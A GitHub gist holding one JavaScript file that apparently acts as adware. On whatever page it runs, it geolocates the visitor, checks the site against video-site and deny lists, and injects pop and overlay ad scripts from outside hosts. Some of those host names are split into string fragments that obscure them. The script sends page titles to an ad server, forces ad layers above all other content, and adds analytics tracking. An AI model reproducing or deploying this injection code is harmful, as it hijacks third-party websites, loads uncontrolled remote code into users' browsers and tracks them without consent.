Created
July 20, 2016 20:50
-
-
Save alph4delta/8a28371b87688d95bdf2f940bd4d3e54 to your computer and use it in GitHub Desktop.
Gist of var cb_r = Math.floor(Math.random()*99999999999);
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var cb_r = Math.floor(Math.random()*99999999999); | |
function addScript(url) | |
{ | |
var s = document.createElement('script'); | |
s.type = 'text/javascript'; | |
s.async = true; | |
s.src = url; | |
var x = document.getElementsByTagName('head')[0]; | |
x.appendChild(s); | |
} | |
function setCookie(cname,cvalue,exdays) | |
{ | |
var d = new Date(); | |
d.setTime(d.getTime() + (exdays*24*60*60*1000)); | |
var expires = "expires=" + d.toGMTString(); | |
document.cookie = cname+"="+cvalue+"; "+expires+"; path=/"; | |
} | |
function getCookie(cname) | |
{ | |
var name = cname + "="; | |
var ca = document.cookie.split(';'); | |
for(var i=0; i<ca.length; i++) | |
{ | |
var c = ca[i]; | |
while (c.charAt(0)==' ') | |
{ | |
c = c.substring(1); | |
} | |
if (c.indexOf(name) == 0) | |
{ | |
return c.substring(name.length, c.length); | |
} | |
} | |
return ""; | |
} | |
function extractDomain(url) | |
{ | |
var domain; | |
if (url.indexOf("://") > -1) | |
{ | |
domain = url.split('/')[2]; | |
} | |
else | |
{ | |
domain = url.split('/')[0]; | |
} | |
domain = domain.split(':')[0]; | |
return domain; | |
} | |
function extractDomain2(url) | |
{ | |
var domain; | |
if (url.indexOf("://") > -1) | |
{ | |
domain = url.split('/')[2]; | |
} | |
else | |
{ | |
domain = url.split('/')[0]; | |
} | |
domain = domain.split(':')[0]; | |
domain = domain.replace('www.',''); | |
return domain; | |
} | |
function modifyString(string,length) | |
{ | |
if(string.length > length) | |
{ | |
var dummyStr = string.substring(0,length)+"..."; | |
return dummyStr.replace(/ /g, "%20"); | |
} | |
else | |
{ | |
return string.replace(/ /g, "%20"); | |
} | |
} | |
function loadAds() | |
{ | |
$ = jQuery.noConflict(true); | |
if (window.location.protocol !== 'https:') | |
{ | |
apiUrl = "http://ip-api.com/json/"; | |
} | |
else | |
{ | |
apiUrl = "https://freegeoip.net/json/"; | |
} | |
$.ajax | |
({ | |
type:"POST", | |
crossDomain: true, | |
url: apiUrl, | |
dataType: "jsonp", | |
success: function(ajaxresult) | |
{ | |
runAllAds(ajaxresult); | |
}, | |
error: function (XMLHttpRequest, textStatus, errorThrown) | |
{ | |
runAllAds("error_comes"); | |
} | |
}); | |
} | |
function runAllAds(ajaxresult) | |
{ | |
var videoWebsites = ["12seconds.tv","www.4shared.com","www.56.com","www.5min.com","6.cn","www.aajkatv.com","www.activistvideo.org","www.aeeboo.com","www.aniboom.com","www.apnatube.com","www.arabtube.tv","www.atom.com","autsch.de","www.babelgum.com","www.bgvip.tv","www.bigcontact.com","www.bigthink.com","blip.tv","www.blogcheese.com","www.blogtv.com","www.bofunk.com","www.break.com","broadbandsports.com","www.broadcaster.com","www.bubblare.se","businessworld.de","www.buzznet.com","www.caught-on-video.com","citytube.de","clesh.com","www.clevver.com","www.clipfish.de","www.cliphost24.com","www.clipjunkie.com","www.clipmoon.com","clip.vn","www.clonevideos.com","cnettv.cnet.com","www.collegehumor.com","constantcomedy.com","www.cooxt.de","www.cozmo.tv","www.crackle.com","www.crovideos.com","www.crunchyroll.com","www.current.com","www.cuts.com","www.danerd.com","us.dada.net","www.dailycomedy.com","www.dailyhaha.com","www.dailymotion.com","www.dalealplay.com","www.deaf-video.org","www.dekhona.com","www.deutschlandreporter.de","www.disclose.tv","www.dogster.com","www.dotcomedy.com","www.dovetail.tv","www.dropshots.com","www.thedrunkest.com","www.duclip.com","www.dumpalink.com","www.dumpthe.net","www.esnips.com","www.ebaumsworld.com","www.encyclomedia.com","www.engagemedia.org","www.entertane.com","www.ramp.com","www.evisor.tv/tv","www.expotv.com","www.ezprezzo.com","www.eyespot.com","fr.eyeka.com","eyevio.jp","www.famster.com","www.fark.com","www.filecow.com","www.filmupload.de","www.fireant.tv","fixx.tvspielfilm.de","www.flicklife.com","www.flickr.com","www.flightlevel350.com","www.flipclip.net","www.fliqz.com","www.flukiest.com","www.flurl.com","www.freevlog.org","www.funnyhub.com","www.funnyjunk.com","www.funnyordie.com","www.funnyplace.org","www.funnyreign.com","www.gametrailers.com","www.getmiro.com","www.gettyload.de","www.glumbert.com","www.godtube.com","www.gorillamask.net","www.graspr.com","www.grindtv.com","www.guzer.com","www.hamburg1video.de","hausgemacht.tv","www.Heavy.com","www.helpfulvideo.com","www.hictu.com","www.holylemon.com","www.hook.tv","www.hotshare.net","www.howcast.com","www.hulu.com","www.hungryflix.com","www.i-am-bored.com","icyou.com","ikbis.com","www.ikiwi.at","www.imeem.com","www.indiavideo.org","www.archive.org/details/movies","www.islamictube.net","jaycut.com","www.jokeroo.com","www.joost.com","www.jujunation.com","www.jumpcut.com","www.justvideo.ca","www.justin.tv","www.kaneva.com","www.kewego.com","www.kidzbop.com","www.koldcast.tv","www.ku6.com","www.kyte.tv","www.learn2use.de","video.libero.it","www.liveleak.com","www.livevideo.com","livingzurich.tv","www.lost-on-stage.de","www.luegmol.ch","lustich.de","www.magnify.net","www.maniatv.com","www.mantoutv.com","www.matrixmovies.net","www.mediabum.com","www.metacafe.com","www.miloop.se","www.mindbites.com","www.mob.com","www.mogulus.com","mojiti.com","www.mojoflix.com","www.monkeysee.com","www.motionbox.com","www.motorsportstube.com","multiply.com","tv.muslimvideo.com","www.mytopclip.com","www.myvideo.co.za","www.mypraize.com","vids.myspace.com","www.myspass.de","www.mytoons.com","www.myvideo.de","www.needforfun.com","www.nelsok.com","www.ning.com","www.onfuego.com","www.onetruemedia.com","tv.oneworld.net","www.oovoo.com","www.openfilm.com","www.ourmedia.org","share.ovi.com","www.pandora.tv","www.pawky.com","www.petnet.de","photobucket.com","www.pokertube.com","www.purevideo.com","www.qubetv.tv","vision.rambler.ru","is.rediff.com","www.rheinvideo.de","www.rofl.to","www.rooftopcomedy.com","rutube.ru","www.scivee.tv","sclipo.com","www.selfcasttv.com","www.sevenload.com","www.shoutfile.com","www.showmehowtoplay.com","www.showmedo.com","www.shredordie.com","smotri.com","www.snotr.com","www.spike.com","www.spotn.de","stage6.divx.com","www.streetfire.net","www.stupidvideos.com","www.sumo.tv","www.tagworld.com","www.talentrun.de","www.teachertube.com","www.thebig.tv","www.thexvid.com","www.tinypic.com","www.treemo.com","www.trooptube.tv","www.truveo.com","www.tu.tv","www.tubetorial.com","www.tudou.com","www.tuneyfish.com","www.tv1.at","www.tvbvideo.de","www.u2upfly.com","www.uprom.tv","www.ustream.tv","uume.com","uvu.channel2.org","www.vlogmap.org","vbox7.com","www.veoh.com","www.viddler.com","www.viddyou.com","www.videobomb.com","www.videoclick.com","www.videodumper.com","videojug.com","www.video-klipp.se","video-tabs.com","www.videovat.com","www.videowebtown.com","www.daqi.com","video.eksenim.mynet.com","video.qq.com","video.vol.at","video.web.de","video.youteach.de","videoontherocks.indya.com","videos.streetfire.net","www.vidiac.com","www.vidilife.com","www.vidipedia.org","www.vidivodo.com","www.vidmax.com","www.vidoosh.tv","vimeo.com","vision.ameba.jp","www.vmix.com","vodpod.com","www.voomed.com","www.vuze.com","www.wat.tv","www.wegame.com","www.webcastr.com","www.webshots.com","www.wideo.fr","www.wildscreen.tv","www.wonderhowto.com","www.wtfhumor.com","video.yahoo.com","www.yideoz.com","www.yikers.com","www.youare.tv","v.sina.com.cn","www.you3b.com","www.youku.com","youmaker.com","www.yourdailymedia.com","www.yourfilehost.com","youtomb.mit.edu","www.youtube.com","www.zapiks.com","zeec.de","www.zeec.net","www.zooppa.com"]; | |
var videoWebsite = 0; | |
if($.inArray(extractDomain(document.URL), videoWebsites) > -1) | |
{ | |
videoWebsite = 1; | |
videoTitle = modifyString(document.title,20); | |
} | |
if (window.location.protocol !== 'https:') | |
{ | |
visitorCountryCode = ajaxresult.countryCode; | |
} | |
else | |
{ | |
visitorCountryCode = ajaxresult.country_code; | |
} | |
var allowedCountries = ""; | |
var disAllowedCountries = ""; | |
var disAllowedWebsites = "publishers.adsverge.com,adsverge.com,tabbycalculator.com,googledashboard.qaplo.com,pathfinder.qaplo.com,fastsearch.qaplo.com,qaplo.com,"; | |
var allowed = 1; | |
if(ajaxresult != "error_comes") | |
{ | |
if((allowedCountries != "" && allowedCountries.indexOf(visitorCountryCode) > -1) || (disAllowedCountries != "" && disAllowedCountries.indexOf(visitorCountryCode) == -1)) | |
{ | |
allowed = 1; | |
} | |
else | |
{ | |
allowed = 0; | |
} | |
} | |
if(allowedCountries=="" && disAllowedCountries=="") | |
{ | |
allowed = 1; | |
} | |
if(disAllowedWebsites.indexOf(extractDomain2(document.URL)) > -1) | |
{ | |
allowed = 0; | |
} | |
if(disAllowedWebsites == "") | |
{ | |
allowed = 1; | |
} | |
if(allowed == 1) | |
{ | |
var popAdNum = getCookie("av_pop_ads"); | |
if(popAdNum == "" || popAdNum >= 3) | |
{ | |
popAdNum = 1; | |
} | |
else | |
{ | |
popAdNum++; | |
} | |
setCookie("av_pop_ads",popAdNum,1); | |
if (popAdNum===1) | |
{ | |
addScript('https://cdncache-a'+'.akamaihd.net/sub/iaea1a5/av1990/l.js?pid=2462'); | |
} | |
else if(popAdNum===2) | |
{ | |
addScript('https://cdncache-a'+'.akamaihd.net/sub/iaea1a5/av1990/l.js?pid=2462'); | |
} | |
else if(popAdNum===3) | |
{ | |
addScript('https://www.liveadexchanger.com/a/display.php?r=1296929'); | |
} | |
addScript('https://cdncache-a'+'.akamaihd.net/sub/iaea1a5/av1990/l.js?pid=2461'); | |
if(videoWebsite == 1) | |
{ | |
if ("https:" == document.location.protocol) { | |
var x = Math.floor(Math.random() * 3) + 1; | |
if (x===3 || x===2){ | |
addScript("https://serve.adsvmedia.com/serve/overlay.js"); | |
} | |
} else { | |
addScript("https://www.secure"+"boom.net/fc.php?script=tags:fullpage&cb="+cb_r+"&s1=av1990&s2=Overlay&zone=15336&fptype=fp&fpxpos=bottomleft&fptimer=8&q="+videoTitle); | |
} | |
} | |
else | |
{ | |
var overlayAdNum = getCookie("av_overlay_ads"); | |
if(overlayAdNum == "" || overlayAdNum >= 2) | |
{ | |
overlayAdNum = 1; | |
} | |
else | |
{ | |
overlayAdNum++; | |
} | |
setCookie("av_overlay_ads",overlayAdNum,1); | |
if (overlayAdNum===1) | |
{ | |
if ("https:" == document.location.protocol) { | |
var x = Math.floor(Math.random() * 3) + 1; | |
if (x===3 || x===2){ | |
addScript("https://serve.adsvmedia.com/serve/overlay.js"); | |
} | |
} | |
else { | |
addScript('https://www.secure'+'boom.net/fc.php?script=tags:fullpage&cb='+cb_r+'&s1=av1990&s2=Overlay&zone=15587&fptype=fp&fpxpos=bottomleft&fptimer=8'); | |
} | |
} | |
else if(overlayAdNum===2) | |
{ | |
if ("https:" == document.location.protocol) { | |
var x = Math.floor(Math.random() * 3) + 1; | |
if (x===3 || x===2){ | |
addScript("https://serve.adsvmedia.com/serve/overlay.js"); | |
} | |
} | |
else { | |
addScript('https://www.secure'+'boom.net/fc.php?script=tags:fullpage&cb='+cb_r+'&s1=av1990&s2=Overlay&zone=15587&fptype=fp&fpxpos=bottomleft&fptimer=8'); | |
} | |
} | |
} | |
function zdex() { | |
$('[id^=MAXOL_]').css('z-index', '2147483647'); | |
} | |
var set = setInterval(zdex,500); | |
setTimeout(function(){ | |
clearInterval(set); | |
},6000); | |
} | |
} | |
function runAdsScript() | |
{ | |
if(typeof jQuery == 'undefined') | |
{ | |
var $; | |
var jq = document.createElement('script'); | |
jq.src = "https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js"; | |
document.querySelector('head').appendChild(jq); | |
jq.onload = loadAds; | |
} | |
else | |
{ | |
loadAds(); | |
} | |
} | |
runAdsScript(); | |
var _gaq = _gaq || []; | |
_gaq.push(['_setAccount', 'UA-79493270-1']); | |
_gaq.push(['_trackPageview']); | |
(function() { | |
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; | |
ga.src = 'https://ssl.google-analytics.com/ga.js'; | |
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); | |
})(); | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment